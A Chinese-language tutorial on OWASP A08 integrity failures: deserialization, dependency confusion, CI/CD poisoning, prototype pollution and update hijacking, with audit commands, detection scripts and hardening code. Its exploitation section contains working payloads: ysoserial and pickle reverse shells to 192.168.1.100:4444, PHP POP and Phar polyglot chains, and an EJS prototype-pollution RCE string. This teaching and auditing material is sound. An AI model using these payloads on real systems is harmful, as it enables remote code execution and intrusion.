反序列化与供应链投毒:软件完整性是怎么被突破的
A08 是 2021 榜单全新加入的一项(部分内容从 2017 的 A08 反序列化扩展而来)。它的核心问题只有一个字:信 —— 你凭什么相信你收到的东西,还是发出时的那个东西?
一、封条完好不代表没被动过
封条完好,不代表里面没被动过
你网购了一台笔记本。快递员送到时,箱子是完好的、封条是完整的、外观没问题。
你签收了,开机,发现里面被人提前装了一个键盘记录器。
问题出在哪?你验证了"包裹有没有被拆过",但没验证"包裹发出时里面装的是什么"。 —— 如果攻击者是在发货环节(工厂、仓库、运输链)动的手,完好的封条反而成了最好的伪装。
软件与数据完整性失败 就是这个意思:在"数据/代码从产生到被使用"的链条上,缺少了"完整性校验"这一环。
四类完整性缺口
| # | 缺口类型 | 典型表现 | 代表漏洞 |
|---|---|---|---|
| 1 | 反序列化不可信数据 | 直接 readObject() 客户端传来的序列化数据 | Java/PHP/Python 反序列化 RCE |
| 2 | 更新/分发无签名校验 | 自动更新走 HTTP、不校验签名 | 更新劫持、供应链投毒 |
| 3 | CI/CD 管道被污染 | 构建机权限过大、流水线可被注入 | SolarWinds 类攻击 |
| 4 | 依赖来源混乱 | 私有包与公共包同名 → 依赖混淆 | Dependency Confusion |
加密解决「偷看」,签名解决「偷换」
这两个经常被搞混,但它们保护的东西完全不同:
机密性(Confidentiality):别人看不到 → 加密(Encryption)
完整性(Integrity):别人改不了 / 改了我知道 → 签名(Signature)/ MAC / 哈希校验加密不提供完整性保证。 这是最容易踩的坑(在 A02 里也提过):
- 用 AES-CBC 加密的数据,攻击者不需要知道密钥,也能翻转密文中的某些位,从而改变解密后的明文。
- 只有 AEAD 模式(如 AES-GCM)或额外做 HMAC 才能同时保证完整性和机密性。
💡 一句话记住:加密解决"偷看",签名解决"偷换"。 两个问题,两套机制。
攻击成立的三要素
完整性攻击要成立,通常需要:
- 存在一条"不可信输入 → 被执行/被信任"的路径 —— 反序列化入口、更新接口、CI 脚本。
- 该路径上缺少完整性校验 —— 无签名、无哈希比对、无白名单。
- 攻击者能够控制或影响输入 —— 能改请求体、能发布恶意包、能改 CI 配置。
影响分 7.50:一旦成功就是系统级沦陷
OWASP 数据:CWE 集合 10 个,平均加权利用率 5.33%,影响 7.50% —— 影响分很高(7.50%),因为一旦攻击成功,往往是系统级沦陷或大范围供应链污染。
典型场景:
场景一:Java 反序列化 RCE
请求体: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1Z...(base64 的序列化对象)
服务端: ObjectInputStream.readObject() ← 直接反序列化
结果: 触发 gadget chain → 任意代码执行场景二:依赖混淆(Dependency Confusion)
公司内部有私有包: @company/ui-kit@1.2.3
攻击者去 npm 发布同名包: @company/ui-kit@99.99.99 (版本号更高)
npm 安装时的行为:
→ 比较公共源和私有源的版本
→ 选版本更高的那个 ← 装了攻击者的包!
结果: 攻击者的 postinstall 脚本在【开发者机器】和【CI 服务器】上执行这个攻击在 2021 年 Alex Birsan 公布后,波及了 Apple、Microsoft、PayPal、Tesla 等 35+ 家大厂,每家获得的赏金都在数万美元。
场景三:CI/CD 投毒(SolarWinds 事件)
攻击者入侵构建服务器 → 在编译过程中注入后门代码
→ 后门随"官方签名"的更新包分发给 18000 家客户
→ 客户验证签名:签名有效(因为确实是官方签的)
→ 但代码是恶意的
关键教训:签名只能证明"谁签的",不能证明"代码是安全的"场景四:原型链污染(Node.js)
// 不安全的递归合并
merge({}, JSON.parse('{"__proto__":{"isAdmin":true}}'))
// 结果:所有对象的 isAdmin 都变成 true
// 影响:权限校验绕过、DoS、甚至 RCE场景五:自动更新劫持
客户端检查更新: http://update.company.com/latest.json ← HTTP 明文!
攻击者中间人劫持 → 返回恶意更新包的 URL
客户端下载并安装 → 无签名校验 → 中招📌 真实场景:审计一个内部系统时,发现它的"插件更新"功能是这么实现的:从配置的 URL 下载一个 zip,解压后直接覆盖到 plugins 目录,然后加载。全程走 HTTP,无签名,无哈希校验。这意味着只要能劫持那个 URL(DNS 劫持、内网 ARP 欺骗、或者拿下那个 CDN),就能给全公司的客户端推送任意代码。 这种"自动更新"在企业内网里其实相当常见。
二、完整性缺口在哪
代码层:各语言的危险函数
危险函数速查表(反序列化 Sink)
| 语言 | 危险函数 | 说明 |
|---|---|---|
| Java | ObjectInputStream.readObject() | 最经典 |
| Java | ObjectInputStream.readUnshared() | 同上 |
| Java | XMLDecoder.readObject() | XML 反序列化 |
| Java | XStream.fromXML() | XStream 反序列化 |
| Java | SnakeYaml.load() / Yaml.load() | YAML 反序列化(loadAll 同理) |
| Java | JSON.parseObject(str, Object.class) | fastjson 通用类型 |
| Java | JdbcRowSetImpl + JNDI | JNDI 注入 |
| PHP | unserialize() | 经典 |
| PHP | phar:// 伪协议 + 文件操作 | Phar 反序列化(无需 unserialize) |
| Python | pickle.loads() / pickle.load() | 极其危险 |
| Python | yaml.load()(非 safe_load) | PyYAML 反序列化 |
| Python | marshal.load() | |
| Node | node-serialize 的 unserialize() | |
| Node | 递归 merge 不处理 __proto__ | 原型链污染 |
| .NET | BinaryFormatter.Deserialize() | 官方已标记不安全 |
| .NET | JavaScriptSerializer.DeserializeObject | |
| Ruby | Marshal.load() |
审计 grep 命令:
# Java 反序列化
grep -rnE "readObject\(|readUnshared\(|XMLDecoder|XStream|fromXML|SnakeYaml|Yaml\.load" --include=*.java
# fastjson 危险用法(目标类型是 Object 或 Class)
grep -rnE "parseObject\(.*Object\.class|parseObject\(.*Class|@type" --include=*.java
# PHP
grep -rnE "unserialize\(|phar://" --include=*.php
# Python
grep -rnE "pickle\.(load|loads)|yaml\.load\(|marshal\.load" --include=*.py
# Node 原型链污染(危险的递归合并)
grep -rnE "__proto__|constructor\s*\[|prototype\s*\[" --include=*.js
grep -rnE "function\s+merge|function\s+extend|deepMerge|Object\.assign" --include=*.js
# .NET
grep -rnE "BinaryFormatter|JavaScriptSerializer|SoapFormatter|NetDataContractSerializer" --include=*.cs
# 危险的动态代码执行(常与反序列化配合)
grep -rnE "eval\(|exec\(|Runtime\.getRuntime|ProcessBuilder|SpelExpressionParser|OgnlUtil" --include=*.{java,py,php,js}Python pickle 的危险性(这个特别值得强调):
# pickle 的设计就决定了它不安全 —— 它可以执行任意代码
import pickle, os
# 恶意 pickle 数据:反序列化时执行系统命令
class Evil:
def __reduce__(self):
# __reduce__ 返回 (可调用对象, 参数)
# 反序列化时会调用 os.system("whoami")
return (os.system, ('whoami',))
evil_data = pickle.dumps(Evil())
# 受害者端:
pickle.loads(evil_data) # ← 执行了 whoami!
# ⚠️ pickle 的官方文档明确警告:
# "The pickle module is not secure. Only unpickle data you trust."
# 但很多人不知道,或者知道了仍然在处理"看似可信"的数据原型链污染的审计:
// ❌ 危险的递归合并(lodash.merge 早期版本、jQuery.extend 等都出过问题)
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
merge(target[key], source[key]); // 递归
} else {
target[key] = source[key]; // ← 如果 key 是 __proto__?
}
}
return target;
}
// 攻击
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);
// 现在所有普通对象的 .isAdmin 都是 true
const user = {};
console.log(user.isAdmin); // true ← 权限校验被绕过
// ✅ 安全写法 1:跳过危险 key
function safeMerge(target, source) {
for (let key in source) {
// 关键:过滤掉原型相关的 key
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (typeof source[key] === 'object' && source[key] !== null) {
if (typeof target[key] !== 'object' || target[key] === null) {
target[key] = {};
}
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// ✅ 安全写法 2:用 Object.create(null) 创建无原型对象
const safeTarget = Object.create(null); // 没有 __proto__
safeMerge(safeTarget, payload);
// ✅ 安全写法 3:用 Object.defineProperty 赋值(不会触发 setter)
Object.defineProperty(target, key, {
value: source[key],
enumerable: true,
writable: true,
configurable: true
});
// ✅ 安全写法 4:用 Map 代替对象
const map = new Map();黑盒:序列化魔数是最好的指纹
检测反序列化入口
序列化数据有明确的魔数特征(前几个字节固定),这是最好用的指纹:
| 类型 | 特征 | 开头 |
|---|---|---|
| Java 序列化 | 魔数 0xAC 0xED | Base64 后以 rO0AB 开头 |
| PHP 序列化 | 格式如 O:4:"User":2:{...} | O: / a: / s: |
| Python pickle | 协议 2 以 \x80\x02 开头 | base64 后 gASV |
| .NET BinaryFormatter | 以 \x00\x01\x00\x00\x00\xff\xff\xff\xff 开头 | base64 后 AAEAAAD///// |
| Java XMLDecoder | XML 格式 | <java> 标签 |
# 1. 在请求中查找序列化特征
# Java: base64 的 rO0AB 最常见
curl -s https://target.com/api/data | grep -oE "rO0AB[A-Za-z0-9+/=]{20,}"
# 2. 检查 Cookie 中是否有序列化对象(Shiro 的 rememberMe 就是)
curl -sI https://target.com | grep -i "cookie"
# 若 Cookie 值以 rO0AB 开头 → Java 序列化对象
# 3. 检查响应中的序列化数据
curl -s https://target.com/api/export | head -c 100 | xxd | head
# 看前几个字节是否是 ac ed 00 05
# 4. 用 Burp 的插件自动检测
# 插件: Java Deserialization Scanner / Freddy
# 会自动识别请求中的序列化数据并尝试探测 gadget
# 5. 主动探测:提交无害的序列化数据看是否报错
# 生成一个简单的序列化对象(如 java.util.HashMap)提交
echo -n "rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA==" | base64 -d > test.ser
curl -s -X POST https://target.com/api/data \
-H "Content-Type: application/octet-stream" \
--data-binary @test.ser
# 若返回 Java 异常堆栈(含 java.io.ObjectInputStream)→ 存在反序列化入口检测原型链污染
# 在 JSON 请求体中注入 __proto__,看是否影响其他对象的行为
curl -s -X POST https://target.com/api/user/update \
-H "Content-Type: application/json" \
-d '{"name":"test","__proto__":{"isAdmin":true}}'
# 然后检查是否有权限变化(用一个普通账号测试)检测更新机制安全性
# 1. 抓包看更新请求走的是 HTTP 还是 HTTPS
# 用 Burp 抓客户端的更新请求
curl -sI http://update.company.com/latest.json # HTTP → 危险
# 2. 检查更新包是否有签名
# 下载更新包后检查
file update_package.zip
# 查看是否有 .sig / .asc / .pem 等签名文件
# 3. 检查是否校验哈希
# 更新配置文件里是否有 sha256 / checksum 字段
curl -s https://update.company.com/latest.json | python3 -m json.tool
# 关注: hash / checksum / signature / sha256 字段依赖混淆:你的私有包名被抢注了吗
# 检测项目是否存在依赖混淆风险
# 原理: 检查 package.json / requirements.txt 中的私有包名,
# 看这些名字在公共源上是否可以被注册
#!/usr/bin/env bash
# 依赖混淆风险检测
# 用法: bash dep_confusion_check.sh package.json
if [ -f "package.json" ]; then
echo "===== 检查 npm 私有包 ====="
# 提取所有依赖名
jq -r '.dependencies // {}, .devDependencies // {} | keys[]' package.json 2>/dev/null | while read pkg; do
# 查询公共 npm registry
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://registry.npmjs.org/$pkg" --max-time 5)
if [ "$status" = "404" ]; then
echo "[!] 风险: $pkg 在公共 npm 上【未被占用】→ 攻击者可注册同名包"
else
echo "[OK] $pkg 在公共 npm 上存在(需确认是否为你公司的)"
fi
done
fi
if [ -f "requirements.txt" ]; then
echo
echo "===== 检查 PyPI 私有包 ====="
grep -vE "^\s*#" requirements.txt | cut -d= -f1 | cut -d'>' -f1 | cut -d'<' -f1 | while read pkg; do
[ -z "$pkg" ] && continue
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://pypi.org/pypi/$pkg/json" --max-time 5)
if [ "$status" = "404" ]; then
echo "[!] 风险: $pkg 在 PyPI 上【未被占用】→ 攻击者可注册同名包"
else
echo "[OK] $pkg 在 PyPI 上存在"
fi
done
fi
echo
echo "===== 缓解建议 ====="
echo "1. 在公共 registry 上抢注你的私有包名(哪怕不发代码)"
echo "2. 私有包使用 scope: @company/package-name"
echo "3. 配置 .npmrc 强制私有 scope 走私有源:"
echo " @company:registry=https://npm.internal.company.com/"
echo "4. 使用锁文件 (package-lock.json / yarn.lock) 锁定解析结果"黑盒判断依据
| 检测项 | 特征 | 判断依据 |
|---|---|---|
| Java 反序列化入口 | 请求体 base64 以 rO0AB 开头 | 存在序列化数据传输 |
| 同上 | 响应含 java.io.ObjectInputStream 堆栈 | 确认反序列化入口 |
| PHP 反序列化 | 参数值形如 O:4:"User":2:{} | PHP 序列化格式 |
| pickle | base64 以 gASV 开头 | Python pickle |
| 原型链污染 | 注入 __proto__ 后行为改变 | 存在污染 |
| 更新不安全 | 更新走 HTTP / 无签名字段 | 可劫持 |
| 依赖混淆 | 私有包名在公共源未占用 | 可被抢注 |
| CI 权限过大 | CI 有生产环境写权限 | 可被投毒 |
| 无完整性校验 | 下载文件后不校验 hash | 可替换 |
三、反序列化与供应链的实战复现
⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。
ysoserial 完整流程:从 URLDNS 到 RCE
Step 1:确认入口
# 用 Burp 抓包,看请求体/参数中是否有 rO0AB 开头的 base64
# 或用主动探测(见上一小节的检测方法)Step 2:确定可用的 gadget chain
# ysoserial 支持的链(列出所有)
java -jar ysoserial.jar
# 常见链及适用依赖:
# CommonsCollections1-7 需要 commons-collections 3.x
# CommonsBeanutils1 需要 commons-beanutils(Shiro 默认带)
# URLDNS 【无依赖】,只做 DNS 探测,最安全
# Jdk7u21 只需要 JDK 7u21 及以下
# Spring1/Spring2 需要 spring-core / spring-beans
# Groovy1 需要 groovy
# Hibernate1/2 需要 hibernate
# JSON1 需要 json-lib
# ROME 需要 rome
# C3P0 / Click1 / Vaadin1 各自需要对应依赖
# 策略:先用 URLDNS 判断"是否存在反序列化入口"
# 再逐个尝试其他链判断是否可 RCEStep 3:URLDNS 探测(安全,推荐先做这个)
# URLDNS 链不执行任何命令,只触发一次 DNS 查询
# 这是【最安全】的验证方式,适合生产环境检测
java -jar ysoserial.jar URLDNS "http://yourdomain.dnslog.cn" > urldns_payload.ser
# base64 编码后提交
base64 -w0 urldns_payload.ser
# 提交到目标
curl -s -X POST https://target.com/api/data \
-H "Content-Type: application/octet-stream" \
--data-binary @urldns_payload.ser
# 到 DNSLog 平台查看是否有解析记录
# 有记录 → 目标确实反序列化了我们的数据(漏洞存在)Step 4:RCE 利用
# 1. 准备反弹 shell 命令(必须 base64 编码,避免特殊字符被 shell 解析破坏)
# 原始命令: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
CMD_B64=$(echo -n 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' | base64 -w0)
echo "$CMD_B64"
# 2. 生成 payload(使用编码后的命令)
java -jar ysoserial.jar CommonsCollections6 \
"bash -c {echo,${CMD_B64}}|{base64,-d}|{bash,-i}" > rce_payload.ser
# 解释: bash -c "{echo,<base64>}|{base64,-d}|{bash,-i}"
# → echo 输出 base64 字符串
# → base64 -d 解码
# → 交给 bash -i 执行
# 这种写法绕过了 Runtime.exec 不支持 shell 语法的限制
# 3. 本地监听
nc -lvnp 4444
# 4. 提交 payload
curl -s -X POST https://target.com/api/data \
-H "Content-Type: application/octet-stream" \
--data-binary @rce_payload.ser
# 或者如果是 base64 传参(很多系统会把序列化数据 base64 后放参数里)
curl -s -X POST https://target.com/api/data \
-d "data=$(base64 -w0 rce_payload.ser)"常见绕过手法:
| 绕过场景 | 手法 |
|---|---|
| 有黑名单类过滤 | 换其他 gadget chain(CommonsCollections1→5→6→7) |
| 请求需为文本(非二进制) | base64 / hex 编码传输 |
WAF 检测 rO0AB | 用 gzip/加密包装;或用 XMLDecoder/XStream 等其他反序列化途径 |
| 反序列化前有类型检查 | 找绕过方式(如 fastjson 的 @type 缓存绕过) |
| 无回显 | 用 DNSLog 外带,或写文件后通过其他路径访问 |
PHP 反序列化与 Phar 的妙用
基础利用:
<?php
// 利用 __destruct / __wakeup / __toString 等魔术方法构造 POP 链
class VulnerableClass {
public $cmd;
// 对象销毁时自动调用
public function __destruct() {
system($this->cmd); // ← 危险 sink
}
}
// 生成 payload
$obj = new VulnerableClass();
$obj->cmd = "whoami";
echo serialize($obj);
// 输出: O:15:"VulnerableClass":1:{s:3:"cmd";s:6:"whoami";}
?># 提交
curl -s "https://target.com/page.php?data=O:15:%22VulnerableClass%22:1:%7Bs:3:%22cmd%22;s:6:%22whoami%22;%7D"
# 用 PHP 生成更方便
php -r 'class A { public $cmd="id"; function __destruct(){ system($this->cmd); } } echo urlencode(serialize(new A()));'Phar 反序列化(高级技巧,非常实用):
<?php
// Phar 反序列化的价值:即使代码中【没有 unserialize()】,
// 只要存在【文件操作函数】且路径可控,就能触发反序列化!
//
// 受影响的文件函数:
// file_get_contents, file_put_contents, fopen, file_exists,
// is_file, is_dir, unlink, copy, include, require, md5_file, ...
// 1. 生成恶意 phar 文件
class Evil {
public $cmd = "whoami";
public function __destruct() {
system($this->cmd);
}
}
// 创建 phar(需要 php.ini 设置 phar.readonly=0)
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 关键:把序列化对象放进 metadata
$phar->setMetadata(new Evil());
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?># 2. 上传 evil.phar(可能需要改后缀绕过上传限制,如改成 .jpg)
# 3. 利用文件操作函数触发(路径用 phar:// 伪协议)
curl -s "https://target.com/page.php?file=phar://uploads/evil.jpg"
# 只要有 file_exists($file) 这样的操作,就会反序列化 metadata → RCE
# 绕过 phar 文件头检测:
# - 改后缀为 jpg/png/gif
# - 或在前面加图片头(GIF89a)
# - gzip 压缩: phar:// 支持 gzip/bzip2 包装
php -r '$p = file_get_contents("evil.phar"); file_put_contents("evil.jpg", "GIF89a" . $p);'pickle:天生不安全的反序列化
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
pickle 反序列化利用演示 —— 仅用于授权测试
原理:pickle 的 __reduce__ 允许指定"反序列化时调用哪个可调用对象",
这是 pickle 协议的正常功能,但也导致它天然可以执行任意代码。
"""
import pickle
import os
import base64
# ===== 方法 1: __reduce__ 直接执行命令 =====
class Exploit1:
def __reduce__(self):
# 返回 (可调用对象, 参数元组)
# 反序列化时会执行 os.system("whoami")
return (os.system, ('whoami',))
payload1 = pickle.dumps(Exploit1())
print("[+] Payload 1 (直接命令):")
print(base64.b64encode(payload1).decode())
# ===== 方法 2: 反弹 shell =====
class Exploit2:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
return (os.system, (cmd,))
payload2 = pickle.dumps(Exploit2())
# ===== 方法 3: 使用 subprocess(更通用)=====
import subprocess
class Exploit3:
def __reduce__(self):
return (subprocess.check_output, (['whoami'],))
payload3 = pickle.dumps(Exploit3())
# ===== 方法 4: 绕过简单过滤(用 exec/eval)=====
class Exploit4:
def __reduce__(self):
return (eval, ("__import__('os').system('id')",))
payload4 = pickle.dumps(Exploit4())
print()
print("[*] 使用方式:")
print(" 受害者端执行: pickle.loads(base64.b64decode(payload))")
print()
print("[*] 检测到 pickle 的特征:")
print(" - pickle.dumps 产生的字节流,协议2以 b'\\x80\\x02' 开头")
print(" - base64 后常以 'gASV' 开头")
print()
print("[*] 修复方案:")
print(" 1. 永远不要反序列化不可信数据(官方建议)")
print(" 2. 改用 JSON 等纯数据格式")
print(" 3. 如必须用,实现受限的 Unpickler,白名单化允许的类")受限 Unpickler(白名单方案):
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
"""
受限的反序列化器:只允许白名单中的类
"""
# 白名单:只允许这些"安全"的类
ALLOWED_CLASSES = {
'builtins.dict',
'builtins.list',
'builtins.str',
'builtins.int',
'builtins.float',
'builtins.bool',
'builtins.tuple',
'builtins.set',
'collections.OrderedDict',
}
def find_class(self, module, name):
"""
pickle 在加载任何全局对象时都会调用这个方法
重写它可以拦截所有类的加载
"""
full_name = f"{module}.{name}"
# 关键:严格白名单,不在白名单的一律拒绝
if full_name not in self.ALLOWED_CLASSES:
raise pickle.UnpicklingError(
f"禁止反序列化类: {full_name}(不在白名单中)"
)
return super().find_class(module, name)
def safe_loads(data: bytes):
"""安全的反序列化入口"""
return RestrictedUnpickler(io.BytesIO(data)).load()
# 测试
try:
result = safe_loads(malicious_payload)
except pickle.UnpicklingError as e:
print(f"[!] 已拦截: {e}")原型链污染:改一个 proto 提权
// ===== 场景 1: 权限绕过 =====
// 假设服务端代码:
// const userData = JSON.parse(request.body);
// merge(userConfig, userData); // 不安全的 merge
// if (user.isAdmin) { /* 管理员操作 */ }
// 攻击 payload
const payload = '{"__proto__":{"isAdmin":true}}';
// 污染后,所有对象都"继承"了 isAdmin: true
const normalUser = { name: "guest" };
console.log(normalUser.isAdmin); // true ← 权限绕过
// ===== 场景 2: RCE(配合模板引擎 / 子进程调用)=====
// 某些 Node 库在调用子进程时会读取 options 对象,
// 污染 shell / env 等属性可导致命令注入
// EJS / Pug 模板引擎的历史漏洞
const rcePayload = JSON.stringify({
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
}
});
// ===== 场景 3: DoS =====
// 污染内置方法导致崩溃
const dosPayload = '{"__proto__":{"toString":"not a function"}}';
// 之后任何对象的 toString() 都会抛异常
// ===== 场景 4: 绕过属性检查 =====
// 污染 hasOwnProperty 等
'{"__proto__":{"hasOwnProperty":true}}'自动化检测脚本:
#!/usr/bin/env bash
# 原型链污染检测
# 用法: bash proto_pollution_check.sh https://target.com
TARGET="$1"
ENDPOINT="${2:-/api/user/update}"
echo "===== 测试 1: 基础 __proto__ 注入 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"name":"test","__proto__":{"polluted":"yes"}}' | head -c 300
echo
echo "===== 测试 2: constructor.prototype 注入 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"name":"test","constructor":{"prototype":{"polluted":"yes"}}}' | head -c 300
echo
echo "===== 测试 3: 嵌套注入(绕过浅层过滤)====="
curl -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"name":"test","profile":{"__proto__":{"polluted":"yes"}}}' | head -c 300
echo
echo "===== 测试 4: 权限字段污染 ====="
curl -s -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d '{"name":"test","__proto__":{"isAdmin":true,"role":"admin"}}' | head -c 300
echo
echo
echo "===== 验证是否污染成功 ====="
echo "访问一个普通接口,看响应中是否出现 polluted 字段或权限变化"
curl -s "$TARGET/api/profile" | head -c 300
echoCI/CD 管道安全检查
#!/usr/bin/env bash
# CI/CD 配置安全检查(防御视角)
# 用法: bash cicd_security_check.sh /path/to/repo
REPO="${1:-.}"
echo "=========== CI/CD 安全配置检查: $REPO ==========="
echo
echo "===== 1. 检查是否使用了可变的 action/流水线引用 ====="
# ❌ 风险: uses: actions/checkout@main (攻击者若能修改该仓库的 main 分支,就能注入代码)
# ✅ 安全: uses: actions/checkout@v4 (标签)
# ✅ 最安全: uses: actions/checkout@<完整 commit sha>
if [ -d "$REPO/.github/workflows" ]; then
grep -rnE "uses:.*@(main|master|develop|latest)$" "$REPO/.github/workflows/" 2>/dev/null \
&& echo "[!] 发现可变引用,建议固定到 commit SHA" \
|| echo "[OK] 未发现可变引用"
else
echo "[SKIP] 无 .github/workflows"
fi
echo
echo "===== 2. 检查是否允许 pull_request_target + 代码检出 ====="
# ❌ 高危组合: on: pull_request_target + actions/checkout 拉取 PR 代码 + 执行
# 这会让【外部贡献者的代码】在【有 secrets 权限】的上下文中执行
if [ -d "$REPO/.github/workflows" ]; then
for f in "$REPO/.github/workflows"/*.y*ml; do
[ -e "$f" ] || continue
if grep -q "pull_request_target" "$f" && grep -qE "actions/checkout" "$f"; then
if grep -A5 "actions/checkout" "$f" | grep -qE "ref:.*github.event.pull_request"; then
echo "[!] 高危: $f 使用 pull_request_target 且检出 PR 代码"
echo " 攻击者可窃取 secrets 或篡改构建产物"
fi
fi
done
fi
echo
echo "===== 3. 检查 secrets 是否被打印 ====="
if [ -d "$REPO/.github/workflows" ]; then
grep -rnE "echo.*\\\$\{\{.*secrets\.|run:.*\\\$\{\{.*secrets\." "$REPO/.github/workflows/" 2>/dev/null \
&& echo "[!] 发现 secrets 可能被输出到日志" \
|| echo "[OK] 未发现 secrets 泄露风险"
fi
echo
echo "===== 4. 检查是否有危险的命令注入点 ====="
# GitHub Actions 中,${{ github.event.issue.title }} 等可被攻击者控制的变量,
# 若直接拼进 run: 命令,可导致命令注入
if [ -d "$REPO/.github/workflows" ]; then
grep -rnE "run:.*\\\$\{\{.*github\.event\.(issue|pull_request|comment)" "$REPO/.github/workflows/" 2>/dev/null \
&& echo "[!] 发现潜在的命令注入(事件数据直接进 run)" \
&& echo " 修复: 用 env: 传递,再用 \$VAR 引用" \
|| echo "[OK] 未发现命令注入模式"
fi
echo
echo "===== 5. 检查 Jenkinsfile ====="
if [ -f "$REPO/Jenkinsfile" ]; then
grep -nE "sh\s+[\"'].*\\\$\{params|sh\s+[\"'].*\\\$\{env\.[A-Z_]*\}.*[\"']" "$REPO/Jenkinsfile" 2>/dev/null \
&& echo "[!] 潜在命令注入:参数直接拼进 shell" \
|| echo "[OK] 未发现明显的命令注入"
fi
echo
echo "===== 6. 检查依赖锁定文件是否提交 ====="
for lock in package-lock.json yarn.lock pnpm-lock.yaml poetry.lock Pipfile.lock go.sum; do
if [ -f "$REPO/$lock" ]; then
echo "[OK] 存在锁定文件: $lock"
fi
done
if [ -f "$REPO/package.json" ] && [ ! -f "$REPO/package-lock.json" ]; then
echo "[!] package.json 存在但无 package-lock.json → 依赖解析不确定"
fi
echo
echo "===== 7. 检查是否有签名/完整性校验步骤 ====="
if [ -d "$REPO/.github/workflows" ]; then
grep -rqiE "cosign|sigstore|slsa|attestation|gpg.*verify|sign" "$REPO/.github/workflows/" 2>/dev/null \
&& echo "[OK] 发现签名/证明相关步骤" \
|| echo "[!] 未发现构建产物签名步骤,建议接入 cosign + SLSA provenance"
fi
echo
echo "=========== 检查完成 ==========="四、签名校验与 CI 加固
根治:不要反序列化不可信数据
原则:不要反序列化不可信数据。这条原则适用于所有语言。
Java 的三种防护方案
// ===== 方案 1: ObjectInputFilter(Java 9+,JDK 原生,推荐)=====
public class SafeDeserializer {
public static Object deserialize(byte[] data) throws Exception {
try (ByteArrayInputStream bis = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bis)) {
// 设置反序列化过滤器:白名单模式
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
// 只允许这些包下的类,其余全部拒绝
"com.mycompany.safe.dto.*;" + // 白名单:自己的 DTO
"java.lang.String;" +
"java.lang.Integer;" +
"java.util.ArrayList;" +
"java.util.HashMap;" +
"!*" // 拒绝其他所有类
));
return ois.readObject();
}
}
}
// 也可以全局设置(JVM 参数)
// -Djdk.serialFilter="com.mycompany.*;!*"
// 过滤器语法说明:
// "com.example.*" 允许该包下所有类
// "!com.example.*" 拒绝该包下所有类
// "!*" 拒绝所有(放在最后作为兜底)
// "maxdepth=5" 限制反序列化深度
// "maxrefs=100" 限制对象引用数
// "maxbytes=1024" 限制字节数
// 多个规则用分号分隔,按顺序匹配// ===== 方案 2: 重写 resolveClass(Java 8 及更早)=====
public class WhiteListObjectInputStream extends ObjectInputStream {
// 白名单:只允许这些类被反序列化
private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.mycompany.dto.UserDTO",
"com.mycompany.dto.OrderDTO",
"java.lang.String",
"java.lang.Integer",
"java.util.ArrayList",
"java.util.HashMap"
);
public WhiteListObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String className = desc.getName();
// 关键:严格白名单校验
if (!ALLOWED_CLASSES.contains(className)) {
throw new InvalidClassException("禁止反序列化的类: " + className);
}
return super.resolveClass(desc);
}
}// ===== 方案 3(最推荐): 彻底不用原生序列化,改用 JSON =====
// 用 Jackson / Gson 替代
ObjectMapper mapper = new ObjectMapper();
// ✅ 安全:反序列化为【具体类型】,而非 Object
UserDTO user = mapper.readValue(json, UserDTO.class);
// ❌ 危险:反序列化为 Object / Map<String,Object>
// 会保留类型信息,可能被利用
// Object obj = mapper.readValue(json, Object.class);
// ⚠️ Jackson 也要禁用默认类型(default typing)
mapper.deactivateDefaultTyping();
// ❌ 绝不要: mapper.enableDefaultTyping(); // 这会在 JSON 中加入 @class,等同 fastjson 的 @type各语言的安全替代方案:
| 语言 | 危险做法 | 安全替代 |
|---|---|---|
| Java | ObjectInputStream | Jackson 反序列化到具体类型 / ObjectInputFilter 白名单 |
| PHP | unserialize() | json_decode() |
| Python | pickle.loads() | json.loads() / 受限 Unpickler |
| Python | yaml.load() | yaml.safe_load() |
| .NET | BinaryFormatter | System.Text.Json / DataContractSerializer |
| Node | 递归 merge | 过滤 __proto__ 的安全 merge |
fastjson 安全配置:
// ✅ 开启 safeMode(fastjson 1.2.68+),完全禁用 autoType
ParserConfig.getGlobalInstance().setSafeMode(true);
// 或局部禁用
JSON.parseObject(json, UserDTO.class, Feature.DisableSpecialKeyDetect);
// ❌ 危险用法
// JSON.parseObject(json); // 无类型,会用 JSONObject
// JSON.parseObject(json, Object.class); // 通用类型,可被 @type 利用
// JSON.parse(json); // 同上签名校验:所有「下载后执行」都要验
这是 A08 最核心的防护 —— 所有"从外部获取并执行的产物"都必须验签。
# ===== 使用 Sigstore/cosign 为容器镜像签名(现代标准)=====
# 1. 安装 cosign
# https://github.com/sigstore/cosign
# 2. 生成密钥对(或使用 keyless 模式)
cosign generate-key-pair
# 生成 cosign.key(私钥,妥善保管)和 cosign.pub(公钥,公开分发)
# 3. 为镜像签名
cosign sign --key cosign.key myregistry/myapp:v1.0.0
